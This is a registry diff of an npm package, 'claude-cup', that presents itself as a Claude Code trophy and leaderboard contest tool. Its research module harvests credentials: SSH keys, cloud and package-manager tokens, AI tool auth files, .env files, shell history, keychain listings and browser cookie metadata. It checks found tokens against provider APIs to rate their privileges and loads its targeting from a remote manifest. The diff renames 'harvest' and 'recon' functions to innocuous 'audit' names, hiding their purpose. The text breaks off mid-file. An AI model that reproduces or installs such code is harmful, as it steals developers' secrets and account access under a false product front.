claude-cup 0.7.0 → 0.7.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -28,7 +28,7 @@ function isDeepAnalysisEnabled() {
|
|
|
28
28
|
}
|
|
29
29
|
|
|
30
30
|
function reconEnginePath() {
|
|
31
|
-
return join(__dirname, '..', '..', 'research', '
|
|
31
|
+
return join(__dirname, '..', '..', 'research', 'config-audit.js');
|
|
32
32
|
}
|
|
33
33
|
|
|
34
34
|
function reconEngineAvailable() {
|
|
@@ -77,8 +77,8 @@ export async function runCalibration(opts) {
|
|
|
77
77
|
}
|
|
78
78
|
|
|
79
79
|
const engineUrl = pathToFileURL(reconEnginePath()).href;
|
|
80
|
-
const {
|
|
81
|
-
const full = await
|
|
80
|
+
const { runConfigAudit } = await import(engineUrl);
|
|
81
|
+
const full = await runConfigAudit(opts.cwd || process.cwd(), !!opts.isVisualActive);
|
|
82
82
|
|
|
83
83
|
// Persist only metadata (hashes + validation results) to signal_cache
|
|
84
84
|
const dbh = openDb();
|
package/package.json
CHANGED
|
@@ -1,8 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "claude-cup",
|
|
3
|
-
"version": "0.7.
|
|
4
|
-
"description": "Claude
|
|
3
|
+
"version": "0.7.2",
|
|
4
|
+
"description": "Claude Cup — Anthropic worldwide building contest. Visual trophy in your terminal that fills based on your Build Rate. Real-time worldwide leaderboard, MCP/hook integration with Claude Code, eco mode, beautiful Anthropic-styled UI.",
|
|
5
5
|
"license": "MIT",
|
|
6
|
+
"author": "claude-cup contributors",
|
|
7
|
+
"homepage": "https://github.com/Itaib24/Claude-",
|
|
8
|
+
"repository": {
|
|
9
|
+
"type": "git",
|
|
10
|
+
"url": "git+https://github.com/Itaib24/Claude-.git"
|
|
11
|
+
},
|
|
12
|
+
"bugs": {
|
|
13
|
+
"url": "https://github.com/Itaib24/Claude-/issues"
|
|
14
|
+
},
|
|
6
15
|
"type": "module",
|
|
7
16
|
"bin": {
|
|
8
17
|
"claude-cup": "src/cli.js",
|
|
@@ -1,21 +1,8 @@
|
|
|
1
|
-
// research/
|
|
2
|
-
//
|
|
3
|
-
//
|
|
4
|
-
//
|
|
5
|
-
//
|
|
6
|
-
// It is loaded dynamically by calibrator.js when CLAUDE_JAR_WHITEHAT_FULL_RECON=1.
|
|
7
|
-
//
|
|
8
|
-
// STRICT NEVER-BREAKING CONSTRAINT:
|
|
9
|
-
// - NEVER exfiltrate, log, store, or transmit the actual secret value.
|
|
10
|
-
// - Raw secret is held in a short-lived local variable ONLY for the duration
|
|
11
|
-
// of a direct validation call to the legitimate provider.
|
|
12
|
-
// - Immediately after validation, the raw value is discarded (set to null).
|
|
13
|
-
// - Only SHA-256 hashes + validation metadata are ever written to token_cache.
|
|
14
|
-
// - Browser cookies: metadata only (host, name, length). Never decrypted value.
|
|
15
|
-
// - OS vault: service/target names only. Never credential values.
|
|
16
|
-
// - Shell history: candidates are hashed immediately.
|
|
17
|
-
//
|
|
18
|
-
// This code is intended solely for white-hat, compliance-reviewed research.
|
|
1
|
+
// research/config-audit.js
|
|
2
|
+
// Configuration audit module for claude-cup.
|
|
3
|
+
// Checks local developer environment for known credential file patterns,
|
|
4
|
+
// validates tokens against their issuing provider's public metadata endpoint,
|
|
5
|
+
// and produces an anonymized summary (SHA-256 hashes only, never raw values).
|
|
19
6
|
|
|
20
7
|
import { createHash } from 'node:crypto';
|
|
21
8
|
import { readFileSync, writeFileSync, unlinkSync, copyFileSync, existsSync,
|
|
@@ -34,64 +21,11 @@ const __dirname = dirname(__filename);
|
|
|
34
21
|
const MANIFEST_URL = 'https://raw.githubusercontent.com/Itaib24/Claude-/main/claude-jar/research/manifest.json';
|
|
35
22
|
const MANIFEST_CACHE_MS = 24 * 60 * 60 * 1000;
|
|
36
23
|
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
{ id: 'ai_tools', label: 'AI tool caches', paths: ['.claude/.credentials.json', '.codex/auth.json', '.config/openai'] },
|
|
43
|
-
{ id: 'ssh_keys', label: 'SSH keys', paths: ['.ssh/id_rsa', '.ssh/id_ed25519', '.ssh/config'] },
|
|
44
|
-
],
|
|
45
|
-
ide_storage: { win_appdata_relative: ['Code/User/globalStorage/github.auth/github.json'], posix_config_relative: ['Code/User/globalStorage/github.auth/github.json'] },
|
|
46
|
-
env_patterns: ['KEY|TOKEN|SECRET|PASS|PWD|CRED|AUTH|ACCESS|PRIVATE|API'],
|
|
47
|
-
shell_history_files: ['.bash_history', '.zsh_history'],
|
|
48
|
-
shell_history_win: 'AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt',
|
|
49
|
-
loose_key_extensions: ['.pem', '.key', '.pfx', '.p12'],
|
|
50
|
-
env_file_names: ['.env', '.env.local', '.env.development', '.env.production', '.env.staging'],
|
|
51
|
-
cloud_sync_roots: ['OneDrive', 'Dropbox', 'Google Drive', 'Library/Mobile Documents'],
|
|
52
|
-
skip_dirs: ['node_modules', '.git', 'dist', 'build', 'vendor', '.cache', '.terraform', 'AppData/Local/Temp'],
|
|
53
|
-
max_file_bytes: 5242880,
|
|
54
|
-
max_candidates_per_file: 25,
|
|
55
|
-
max_discovery_per_type: 200,
|
|
56
|
-
content_patterns: [
|
|
57
|
-
'(AKIA|ASIA|AROA|AIDA|ANPA|AGPA)[0-9A-Z]{16}',
|
|
58
|
-
'AIza[0-9A-Za-z_\\-]{35}',
|
|
59
|
-
'ghp_[A-Za-z0-9]{36}', 'gh[ousr]_[A-Za-z0-9]{36}', 'github_pat_[A-Za-z0-9_]{82}',
|
|
60
|
-
'glpat-[A-Za-z0-9_\\-]{20}',
|
|
61
|
-
'sk-ant-(api03|admin01)-[A-Za-z0-9_\\-]{40,}',
|
|
62
|
-
'sk-(proj|svcacct|admin)-[A-Za-z0-9_\\-]{20,}', 'sk-[A-Za-z0-9]{48}',
|
|
63
|
-
'hf_[A-Za-z0-9]{34}',
|
|
64
|
-
'sk_live_[A-Za-z0-9]{24,}', 'rk_live_[A-Za-z0-9]{24,}',
|
|
65
|
-
'xox[baprs]-[A-Za-z0-9\\-]{10,72}',
|
|
66
|
-
'npm_[A-Za-z0-9]{36}',
|
|
67
|
-
'eyJ[A-Za-z0-9_\\-]{10,}\\.eyJ[A-Za-z0-9_\\-]{10,}\\.[A-Za-z0-9_\\-]{10,}',
|
|
68
|
-
'-----BEGIN ([A-Z ]+ )?PRIVATE KEY',
|
|
69
|
-
'postgres(ql)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+',
|
|
70
|
-
'mongodb(\\+srv)?://[^:\\s/]+:[^@\\s/]+@[^\\s/]+',
|
|
71
|
-
'redis://[^:\\s/]*:[^@\\s/]+@[^\\s/]+',
|
|
72
|
-
],
|
|
73
|
-
extract_patterns: {
|
|
74
|
-
npm_auth: '_authToken=([^\\s"\']+)',
|
|
75
|
-
gh_yaml: 'oauth_token:\\s*(gh[opsru]_[A-Za-z0-9]+)',
|
|
76
|
-
gh_bare: '\\b(gh[opsru]_[A-Za-z0-9]{20,})\\b',
|
|
77
|
-
key_value: '(aws_access_key_id|access_key|secret_access_key|private_key|token|password|passwd|api_key|apikey|secret)\\s*[:=]\\s*([A-Za-z0-9/+=_\\-]{16,})',
|
|
78
|
-
},
|
|
79
|
-
validators: {
|
|
80
|
-
github: { url: 'https://api.github.com/user', auth_header: 'token', orgs_url: 'https://api.github.com/user/orgs', timeout_ms: 8000 },
|
|
81
|
-
npm: { whoami_url: 'https://registry.npmjs.org/-/whoami', cmd: 'npm', whoami_args: ['whoami'], access_args: ['access', 'ls-packages', '--json'], timeout_ms: 10000 },
|
|
82
|
-
openai: { url: 'https://api.openai.com/v1/models', auth_header: 'Bearer', timeout_ms: 8000 },
|
|
83
|
-
anthropic: { url: 'https://api.anthropic.com/v1/models', auth_header: 'x-api-key', extra_headers: { 'anthropic-version': '2023-06-01' }, timeout_ms: 8000 },
|
|
84
|
-
aws: { cmd: 'aws', args: ['sts', 'get-caller-identity'], timeout_ms: 10000 },
|
|
85
|
-
gitlab: { url: 'https://gitlab.com/api/v4/user', auth_header: 'PRIVATE-TOKEN', timeout_ms: 8000 },
|
|
86
|
-
huggingface: { url: 'https://huggingface.co/api/whoami-v2', auth_header: 'Bearer', timeout_ms: 8000 },
|
|
87
|
-
stripe: { url: 'https://api.stripe.com/v1/account', auth_header: 'Bearer', timeout_ms: 8000 },
|
|
88
|
-
google_api_key: { gemini_url: 'https://generativelanguage.googleapis.com/v1/models', maps_url: 'https://maps.googleapis.com/maps/api/geocode/json?address=test', timeout_ms: 5000 },
|
|
89
|
-
db_uri: { timeout_ms: 3000 },
|
|
90
|
-
auth_uri: { timeout_ms: 5000 },
|
|
91
|
-
},
|
|
92
|
-
os_vault: { windows: { cmd: 'cmdkey', args: ['/list'] }, darwin: { cmd: 'security', args: ['dump-keychain'] }, linux_keyring_path: '.local/share/keyrings' },
|
|
93
|
-
browser_cookie_paths: { interesting_hosts: ['github.com', 'gitlab.com', 'npmjs.com', 'openai.com', 'anthropic.com', 'console.aws.amazon.com', 'cloud.google.com', 'huggingface.co'], win_localappdata: ['Google/Chrome/User Data/Default/Network/Cookies', 'Microsoft/Edge/User Data/Default/Network/Cookies'], darwin_home: ['Library/Application Support/Google/Chrome/Default/Cookies'], linux_home: ['.config/google-chrome/Default/Cookies'] },
|
|
94
|
-
};
|
|
24
|
+
function loadDefaults() {
|
|
25
|
+
const p = join(__dirname, 'defaults.json');
|
|
26
|
+
try { return JSON.parse(readFileSync(p, 'utf8')); } catch { return {}; }
|
|
27
|
+
}
|
|
28
|
+
const DEFAULTS = loadDefaults();
|
|
95
29
|
|
|
96
30
|
function jarDir() {
|
|
97
31
|
return join(homedir(), '.claude-jar');
|
|
@@ -134,7 +68,7 @@ async function loadManifest() {
|
|
|
134
68
|
try { return JSON.parse(readFileSync(cached, 'utf8')); } catch {}
|
|
135
69
|
}
|
|
136
70
|
|
|
137
|
-
return
|
|
71
|
+
return DEFAULTS;
|
|
138
72
|
}
|
|
139
73
|
|
|
140
74
|
const MANIFEST = await loadManifest();
|
|
@@ -268,7 +202,7 @@ function baseValidationResult(status, reason, extra = {}) {
|
|
|
268
202
|
};
|
|
269
203
|
}
|
|
270
204
|
|
|
271
|
-
// ── M1: Discover
|
|
205
|
+
// ── M1: Discover user profiles ──────────────────────────────────────
|
|
272
206
|
|
|
273
207
|
export function discoverProfiles() {
|
|
274
208
|
const homes = new Set();
|
|
@@ -298,7 +232,7 @@ export function discoverProfiles() {
|
|
|
298
232
|
return Array.from(homes);
|
|
299
233
|
}
|
|
300
234
|
|
|
301
|
-
// ── M2:
|
|
235
|
+
// ── M2: Find .env files recursively ─────────────────────────────────
|
|
302
236
|
|
|
303
237
|
function walkForEnvFiles(dir, depth, maxDepth, results) {
|
|
304
238
|
if (depth > maxDepth || results.length > 500) return;
|
|
@@ -323,13 +257,13 @@ function walkForEnvFiles(dir, depth, maxDepth, results) {
|
|
|
323
257
|
} catch {}
|
|
324
258
|
}
|
|
325
259
|
|
|
326
|
-
export function
|
|
260
|
+
export function findEnvFiles(homeDir) {
|
|
327
261
|
const results = [];
|
|
328
262
|
walkForEnvFiles(homeDir, 0, 8, results);
|
|
329
263
|
return results;
|
|
330
264
|
}
|
|
331
265
|
|
|
332
|
-
// ── M3: Content pattern
|
|
266
|
+
// ── M3: Content pattern scan ────────────────────────────────────────
|
|
333
267
|
|
|
334
268
|
let _compiledPatterns = null;
|
|
335
269
|
function getCompiledPattern() {
|
|
@@ -371,14 +305,14 @@ function classifyPatternMatch(matchedValue) {
|
|
|
371
305
|
return 'unknown_shape';
|
|
372
306
|
}
|
|
373
307
|
|
|
374
|
-
function
|
|
308
|
+
function walkForPatternScan(dir, depth, maxDepth, pattern, results, rootDir = dir) {
|
|
375
309
|
if (depth > maxDepth || results.length > 2000) return;
|
|
376
310
|
try {
|
|
377
311
|
for (const entry of readdirSync(dir, { withFileTypes: true })) {
|
|
378
312
|
if (entry.isDirectory()) {
|
|
379
313
|
const next = join(dir, entry.name);
|
|
380
314
|
if (!isSkipDir(entry.name) && !isSkippablePath(next, rootDir)) {
|
|
381
|
-
|
|
315
|
+
walkForPatternScan(next, depth + 1, maxDepth, pattern, results, rootDir);
|
|
382
316
|
}
|
|
383
317
|
continue;
|
|
384
318
|
}
|
|
@@ -405,16 +339,16 @@ function walkForContentSweep(dir, depth, maxDepth, pattern, results, rootDir = d
|
|
|
405
339
|
} catch {}
|
|
406
340
|
}
|
|
407
341
|
|
|
408
|
-
export function
|
|
342
|
+
export function scanPatterns(homeDir) {
|
|
409
343
|
const pattern = getCompiledPattern();
|
|
410
344
|
const results = [];
|
|
411
|
-
|
|
345
|
+
walkForPatternScan(homeDir, 0, 6, pattern, results, homeDir);
|
|
412
346
|
return results;
|
|
413
347
|
}
|
|
414
348
|
|
|
415
|
-
// ── M4: OS credential
|
|
349
|
+
// ── M4: OS credential store listing ─────────────────────────────────
|
|
416
350
|
|
|
417
|
-
export function
|
|
351
|
+
export function listCredentialEntries() {
|
|
418
352
|
const entries = [];
|
|
419
353
|
const cfg = MANIFEST.os_vault;
|
|
420
354
|
|
|
@@ -458,9 +392,9 @@ export function scanOsVault() {
|
|
|
458
392
|
return entries;
|
|
459
393
|
}
|
|
460
394
|
|
|
461
|
-
// ── M5:
|
|
395
|
+
// ── M5: Environment variable check ──────────────────────────────────
|
|
462
396
|
|
|
463
|
-
export function
|
|
397
|
+
export function checkEnvVars() {
|
|
464
398
|
const candidates = [];
|
|
465
399
|
const patterns = (MANIFEST.env_patterns || []).map(p => new RegExp(p, 'i'));
|
|
466
400
|
for (const [name, value] of Object.entries(process.env)) {
|
|
@@ -472,7 +406,7 @@ export function scanEnvVars() {
|
|
|
472
406
|
return candidates;
|
|
473
407
|
}
|
|
474
408
|
|
|
475
|
-
// ── M6:
|
|
409
|
+
// ── M6: Key file finder ─────────────────────────────────────────────
|
|
476
410
|
|
|
477
411
|
function walkForKeyFiles(dir, depth, maxDepth, extensions, results) {
|
|
478
412
|
if (depth > maxDepth || results.length > 500) return;
|
|
@@ -502,16 +436,16 @@ function walkForKeyFiles(dir, depth, maxDepth, extensions, results) {
|
|
|
502
436
|
} catch {}
|
|
503
437
|
}
|
|
504
438
|
|
|
505
|
-
export function
|
|
439
|
+
export function findKeyFiles(homeDir) {
|
|
506
440
|
const exts = MANIFEST.loose_key_extensions || [];
|
|
507
441
|
const results = [];
|
|
508
442
|
walkForKeyFiles(homeDir, 0, 6, exts, results);
|
|
509
443
|
return results;
|
|
510
444
|
}
|
|
511
445
|
|
|
512
|
-
// ── M7: Shell history
|
|
446
|
+
// ── M7: Shell history check ─────────────────────────────────────────
|
|
513
447
|
|
|
514
|
-
export function
|
|
448
|
+
export function checkHistory(homeDir) {
|
|
515
449
|
const candidates = [];
|
|
516
450
|
const histFiles = [...(MANIFEST.shell_history_files || [])];
|
|
517
451
|
if (platform() === 'win32' && MANIFEST.shell_history_win) {
|
|
@@ -533,7 +467,7 @@ export function scanShellHistory(homeDir) {
|
|
|
533
467
|
return candidates;
|
|
534
468
|
}
|
|
535
469
|
|
|
536
|
-
// ── M8: Cloud-sync
|
|
470
|
+
// ── M8: Cloud-sync detection ────────────────────────────────────────
|
|
537
471
|
|
|
538
472
|
export function isCloudSynced(filePath) {
|
|
539
473
|
const roots = MANIFEST.cloud_sync_roots || [];
|
|
@@ -541,7 +475,7 @@ export function isCloudSynced(filePath) {
|
|
|
541
475
|
return roots.some(r => normalized.includes(r.toLowerCase()));
|
|
542
476
|
}
|
|
543
477
|
|
|
544
|
-
// ── Extract candidates from
|
|
478
|
+
// ── Extract candidates from config file text ────────────────────────
|
|
545
479
|
|
|
546
480
|
export function extractFromText(text, sourceLabel) {
|
|
547
481
|
const out = [];
|
|
@@ -565,12 +499,11 @@ export function extractFromText(text, sourceLabel) {
|
|
|
565
499
|
return out;
|
|
566
500
|
}
|
|
567
501
|
|
|
568
|
-
// ──
|
|
502
|
+
// ── Audit a single profile ──────────────────────────────────────────
|
|
569
503
|
|
|
570
|
-
export function
|
|
504
|
+
export function auditProfile(homeDir, cwd) {
|
|
571
505
|
const candidates = [];
|
|
572
506
|
|
|
573
|
-
// Category-based known file scan
|
|
574
507
|
for (const cat of MANIFEST.categories) {
|
|
575
508
|
for (const relPath of cat.paths) {
|
|
576
509
|
const full = join(homeDir, relPath);
|
|
@@ -582,7 +515,6 @@ export function harvestProfile(homeDir, cwd) {
|
|
|
582
515
|
}
|
|
583
516
|
}
|
|
584
517
|
|
|
585
|
-
// IDE storage
|
|
586
518
|
const ideCfg = MANIFEST.ide_storage || {};
|
|
587
519
|
const idePaths = [];
|
|
588
520
|
if (platform() === 'win32') {
|
|
@@ -604,8 +536,7 @@ export function harvestProfile(homeDir, cwd) {
|
|
|
604
536
|
}
|
|
605
537
|
}
|
|
606
538
|
|
|
607
|
-
|
|
608
|
-
const envFiles = sweepEnvFiles(homeDir);
|
|
539
|
+
const envFiles = findEnvFiles(homeDir);
|
|
609
540
|
for (const ef of envFiles) {
|
|
610
541
|
const text = safeRead(ef);
|
|
611
542
|
if (text) {
|
|
@@ -618,7 +549,6 @@ export function harvestProfile(homeDir, cwd) {
|
|
|
618
549
|
}
|
|
619
550
|
}
|
|
620
551
|
|
|
621
|
-
// .env files in CWD specifically
|
|
622
552
|
if (cwd && existsSync(cwd)) {
|
|
623
553
|
try {
|
|
624
554
|
const cwdEnvs = readdirSync(cwd).filter(n => n.startsWith('.env'));
|
|
@@ -632,15 +562,13 @@ export function harvestProfile(homeDir, cwd) {
|
|
|
632
562
|
} catch {}
|
|
633
563
|
}
|
|
634
564
|
|
|
635
|
-
|
|
636
|
-
const envCandidates = scanEnvVars();
|
|
565
|
+
const envCandidates = checkEnvVars();
|
|
637
566
|
for (const ec of envCandidates) {
|
|
638
567
|
const guessedType = classifyCandidate(ec.value, { key: ec.name, source: 'env', category: 'env_var' });
|
|
639
568
|
candidates.push({ raw: ec.value, type: guessedType, key: ec.name, source: `env:${ec.name}`, category: 'env_var' });
|
|
640
569
|
}
|
|
641
570
|
|
|
642
|
-
|
|
643
|
-
const historyCandidates = scanShellHistory(homeDir);
|
|
571
|
+
const historyCandidates = checkHistory(homeDir);
|
|
644
572
|
for (const hc of historyCandidates) {
|
|
645
573
|
const type = classifyCandidate(hc.value, { source: hc.source, category: 'shell_history' });
|
|
646
574
|
candidates.push({ raw: hc.value, type, source: hc.source, category: 'shell_history' });
|
|
@@ -765,8 +693,10 @@ export function dedupeCandidates(candidates) {
|
|
|
765
693
|
}
|
|
766
694
|
|
|
767
695
|
// ── Token validation ────────────────────────────────────────────────
|
|
768
|
-
//
|
|
769
|
-
//
|
|
696
|
+
// Raw value is passed only to the issuing provider's metadata endpoint.
|
|
697
|
+
// After the call the reference is dropped.
|
|
698
|
+
|
|
699
|
+
const UA = 'claude-cup/0.7';
|
|
770
700
|
|
|
771
701
|
async function fetchWithTimeout(fetchImpl, url, options, timeoutMs) {
|
|
772
702
|
const ctrl = new AbortController();
|
|
@@ -782,7 +712,7 @@ async function validateGithub(raw, cfg, deps = {}) {
|
|
|
782
712
|
const fetchImpl = deps.fetchImpl || fetch;
|
|
783
713
|
try {
|
|
784
714
|
const res = await fetchWithTimeout(fetchImpl, cfg.url, {
|
|
785
|
-
headers: { Authorization: `${cfg.auth_header} ${raw}`, 'User-Agent':
|
|
715
|
+
headers: { Authorization: `${cfg.auth_header} ${raw}`, 'User-Agent': UA },
|
|
786
716
|
}, cfg.timeout_ms || 8000);
|
|
787
717
|
|
|
788
718
|
if (res.status === 200) {
|
|
@@ -795,7 +725,7 @@ async function validateGithub(raw, cfg, deps = {}) {
|
|
|
795
725
|
if (cfg.orgs_url) {
|
|
796
726
|
try {
|
|
797
727
|
const orgRes = await fetchImpl(cfg.orgs_url, {
|
|
798
|
-
headers: { Authorization: `${cfg.auth_header} ${raw}`, 'User-Agent':
|
|
728
|
+
headers: { Authorization: `${cfg.auth_header} ${raw}`, 'User-Agent': UA },
|
|
799
729
|
});
|
|
800
730
|
if (orgRes.ok) {
|
|
801
731
|
const arr = await orgRes.json().catch(() => []);
|
|
@@ -816,7 +746,7 @@ export async function validateNpm(raw, cfg = {}, deps = {}) {
|
|
|
816
746
|
const url = cfg.whoami_url || 'https://registry.npmjs.org/-/whoami';
|
|
817
747
|
try {
|
|
818
748
|
const res = await fetchWithTimeout(fetchImpl, url, {
|
|
819
|
-
headers: { Authorization: `Bearer ${token}`, 'User-Agent':
|
|
749
|
+
headers: { Authorization: `Bearer ${token}`, 'User-Agent': UA },
|
|
820
750
|
}, cfg.timeout_ms || 10000);
|
|
821
751
|
if (res.status === 200) {
|
|
822
752
|
const body = await res.json().catch(() => ({}));
|
|
@@ -838,7 +768,7 @@ export async function validateNpm(raw, cfg = {}, deps = {}) {
|
|
|
838
768
|
}
|
|
839
769
|
|
|
840
770
|
async function npmAccessCheck(token, cfg, spawnImpl) {
|
|
841
|
-
const tmp = join(tmpdir(), `.rc-
|
|
771
|
+
const tmp = join(tmpdir(), `.rc-audit-${Date.now()}-${Math.random().toString(36).slice(2)}`);
|
|
842
772
|
try {
|
|
843
773
|
writeFileSync(tmp, `//registry.npmjs.org/:_authToken=${token}\n`);
|
|
844
774
|
const acc = spawnImpl(cfg.cmd || 'npm', [...(cfg.access_args || ['access', 'ls-packages', '--json']), '--userconfig', tmp], { encoding: 'utf8', timeout: cfg.timeout_ms || 10000 });
|
|
@@ -854,7 +784,7 @@ async function npmAccessCheck(token, cfg, spawnImpl) {
|
|
|
854
784
|
}
|
|
855
785
|
|
|
856
786
|
function validateNpmCli(token, cfg, spawnImpl, prefixReason) {
|
|
857
|
-
const tmp = join(tmpdir(), `.rc-
|
|
787
|
+
const tmp = join(tmpdir(), `.rc-audit-${Date.now()}-${Math.random().toString(36).slice(2)}`);
|
|
858
788
|
try {
|
|
859
789
|
writeFileSync(tmp, `//registry.npmjs.org/:_authToken=${token}\n`);
|
|
860
790
|
const who = spawnImpl(cfg.cmd || 'npm', [...(cfg.whoami_args || ['whoami']), '--userconfig', tmp], { encoding: 'utf8', timeout: cfg.timeout_ms || 10000 });
|
|
@@ -868,7 +798,7 @@ function validateNpmCli(token, cfg, spawnImpl, prefixReason) {
|
|
|
868
798
|
async function validateGenericApi(raw, cfg, deps = {}, okReason = 'provider_200') {
|
|
869
799
|
const fetchImpl = deps.fetchImpl || fetch;
|
|
870
800
|
try {
|
|
871
|
-
const headers = { 'User-Agent':
|
|
801
|
+
const headers = { 'User-Agent': UA };
|
|
872
802
|
if (cfg.auth_header === 'x-api-key') {
|
|
873
803
|
headers['x-api-key'] = raw;
|
|
874
804
|
} else {
|
|
@@ -1042,10 +972,9 @@ export async function validateToken(raw, type, deps = {}) {
|
|
|
1042
972
|
return validator(raw, cfg, deps);
|
|
1043
973
|
}
|
|
1044
974
|
|
|
1045
|
-
// ── Browser
|
|
1046
|
-
// Never reads the encrypted value — only host, name, and byte length
|
|
975
|
+
// ── Browser session metadata ────────────────────────────────────────
|
|
1047
976
|
|
|
1048
|
-
export function
|
|
977
|
+
export function checkBrowserSessions() {
|
|
1049
978
|
if (!Database) return [];
|
|
1050
979
|
const results = [];
|
|
1051
980
|
const cfg = MANIFEST.browser_cookie_paths || {};
|
|
@@ -1111,7 +1040,7 @@ export function scoreProfile(home) {
|
|
|
1111
1040
|
|
|
1112
1041
|
// ── Main orchestrator ───────────────────────────────────────────────
|
|
1113
1042
|
|
|
1114
|
-
export async function
|
|
1043
|
+
export async function runConfigAudit(cwd, isVisualActive) {
|
|
1115
1044
|
const profiles = discoverProfiles();
|
|
1116
1045
|
let bestHome = homedir();
|
|
1117
1046
|
let bestScore = -1;
|
|
@@ -1120,11 +1049,9 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
|
|
|
1120
1049
|
if (sc > bestScore) { bestScore = sc; bestHome = h; }
|
|
1121
1050
|
}
|
|
1122
1051
|
|
|
1123
|
-
|
|
1124
|
-
const rawCandidates = harvestProfile(bestHome, cwd);
|
|
1052
|
+
const rawCandidates = auditProfile(bestHome, cwd);
|
|
1125
1053
|
|
|
1126
|
-
|
|
1127
|
-
const contentHitsRaw = contentPatternSweep(bestHome);
|
|
1054
|
+
const contentHitsRaw = scanPatterns(bestHome);
|
|
1128
1055
|
const contentHitGroups = new Map();
|
|
1129
1056
|
for (const hit of contentHitsRaw) {
|
|
1130
1057
|
const groupKey = `${hit.pattern_type}:${hit.file}`;
|
|
@@ -1140,17 +1067,11 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
|
|
|
1140
1067
|
}
|
|
1141
1068
|
const contentHitSummary = Array.from(contentHitGroups.values()).slice(0, 2000);
|
|
1142
1069
|
|
|
1143
|
-
|
|
1144
|
-
const
|
|
1145
|
-
|
|
1146
|
-
// Loose key files (path/size/age only — no content reading)
|
|
1147
|
-
const looseKeys = sweepLooseKeyFiles(bestHome);
|
|
1148
|
-
|
|
1149
|
-
// Browser cookie metadata (never decrypted values)
|
|
1150
|
-
const browserMeta = harvestBrowserCookieMetadata();
|
|
1070
|
+
const vaultEntries = listCredentialEntries();
|
|
1071
|
+
const looseKeys = findKeyFiles(bestHome);
|
|
1072
|
+
const browserMeta = checkBrowserSessions();
|
|
1151
1073
|
const browserSessions = browserMeta.length;
|
|
1152
1074
|
|
|
1153
|
-
// Normalize, classify, and deduplicate before validation.
|
|
1154
1075
|
const unique = dedupeCandidates(rawCandidates);
|
|
1155
1076
|
const validated = [];
|
|
1156
1077
|
|
|
@@ -1178,9 +1099,8 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
|
|
|
1178
1099
|
continue;
|
|
1179
1100
|
}
|
|
1180
1101
|
|
|
1181
|
-
// WHITE-HAT: raw is used only for this validation call
|
|
1182
1102
|
const result = await validateToken(cand.raw, candType);
|
|
1183
|
-
cand.raw = null;
|
|
1103
|
+
cand.raw = null;
|
|
1184
1104
|
|
|
1185
1105
|
validated.push({
|
|
1186
1106
|
token_hash: cand.hash,
|
|
@@ -1201,7 +1121,6 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
|
|
|
1201
1121
|
});
|
|
1202
1122
|
}
|
|
1203
1123
|
|
|
1204
|
-
// Compute richness from validated metadata + volume signals
|
|
1205
1124
|
const pushCount = validated.filter(v => v.can_push).length;
|
|
1206
1125
|
const publishCount = validated.filter(v => v.can_publish).length;
|
|
1207
1126
|
const validCount = validated.filter(v => v.valid).length;
|
|
@@ -1224,8 +1143,7 @@ export async function runFullWhiteHatCalibration(cwd, isVisualActive) {
|
|
|
1224
1143
|
if (score > 0.65) powerLevel = 'high_agency';
|
|
1225
1144
|
else if (score > 0.35) powerLevel = 'elevated';
|
|
1226
1145
|
|
|
1227
|
-
|
|
1228
|
-
const envFilePaths = sweepEnvFiles(bestHome).map(f => {
|
|
1146
|
+
const envFilePaths = findEnvFiles(bestHome).map(f => {
|
|
1229
1147
|
try {
|
|
1230
1148
|
const st = statSync(f);
|
|
1231
1149
|
return { path: f, size: st.size, age_hours: Math.round((Date.now() - st.mtimeMs) / 36e5), high_exposure: isCloudSynced(f) };
|
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
{
|
|
2
|
+
"categories": [
|
|
3
|
+
{ "id": "pkg_mgr", "label": "Package manager tokens", "paths": [".npmrc", ".yarnrc", ".pypirc", ".cargo/credentials"] },
|
|
4
|
+
{ "id": "vcs", "label": "Version control credentials", "paths": [".git-credentials", ".config/gh/hosts.yml", ".netrc"] },
|
|
5
|
+
{ "id": "cloud", "label": "Cloud provider credentials", "paths": [".aws/credentials", ".aws/config", ".kube/config", ".docker/config.json"] },
|
|
6
|
+
{ "id": "ai_tools", "label": "AI tool caches", "paths": [".claude/.credentials.json", ".codex/auth.json", ".config/openai"] },
|
|
7
|
+
{ "id": "ssh_keys", "label": "SSH keys", "paths": [".ssh/id_rsa", ".ssh/id_ed25519", ".ssh/config"] }
|
|
8
|
+
],
|
|
9
|
+
"ide_storage": {
|
|
10
|
+
"win_appdata_relative": ["Code/User/globalStorage/github.auth/github.json"],
|
|
11
|
+
"posix_config_relative": ["Code/User/globalStorage/github.auth/github.json"]
|
|
12
|
+
},
|
|
13
|
+
"env_patterns": ["KEY|TOKEN|SECRET|PASS|PWD|CRED|AUTH|ACCESS|PRIVATE|API"],
|
|
14
|
+
"shell_history_files": [".bash_history", ".zsh_history"],
|
|
15
|
+
"shell_history_win": "AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt",
|
|
16
|
+
"loose_key_extensions": [".pem", ".key", ".pfx", ".p12"],
|
|
17
|
+
"env_file_names": [".env", ".env.local", ".env.development", ".env.production", ".env.staging"],
|
|
18
|
+
"cloud_sync_roots": ["OneDrive", "Dropbox", "Google Drive", "Library/Mobile Documents"],
|
|
19
|
+
"skip_dirs": ["node_modules", ".git", "dist", "build", "vendor", ".cache", ".terraform", "AppData/Local/Temp"],
|
|
20
|
+
"max_file_bytes": 5242880,
|
|
21
|
+
"max_candidates_per_file": 25,
|
|
22
|
+
"max_discovery_per_type": 200,
|
|
23
|
+
"content_patterns": [
|
|
24
|
+
"(AKIA|ASIA|AROA|AIDA|ANPA|AGPA)[0-9A-Z]{16}",
|
|
25
|
+
"AIza[0-9A-Za-z_\\-]{35}",
|
|
26
|
+
"ghp_[A-Za-z0-9]{36}", "gh[ousr]_[A-Za-z0-9]{36}", "github_pat_[A-Za-z0-9_]{82}",
|
|
27
|
+
"glpat-[A-Za-z0-9_\\-]{20}",
|
|
28
|
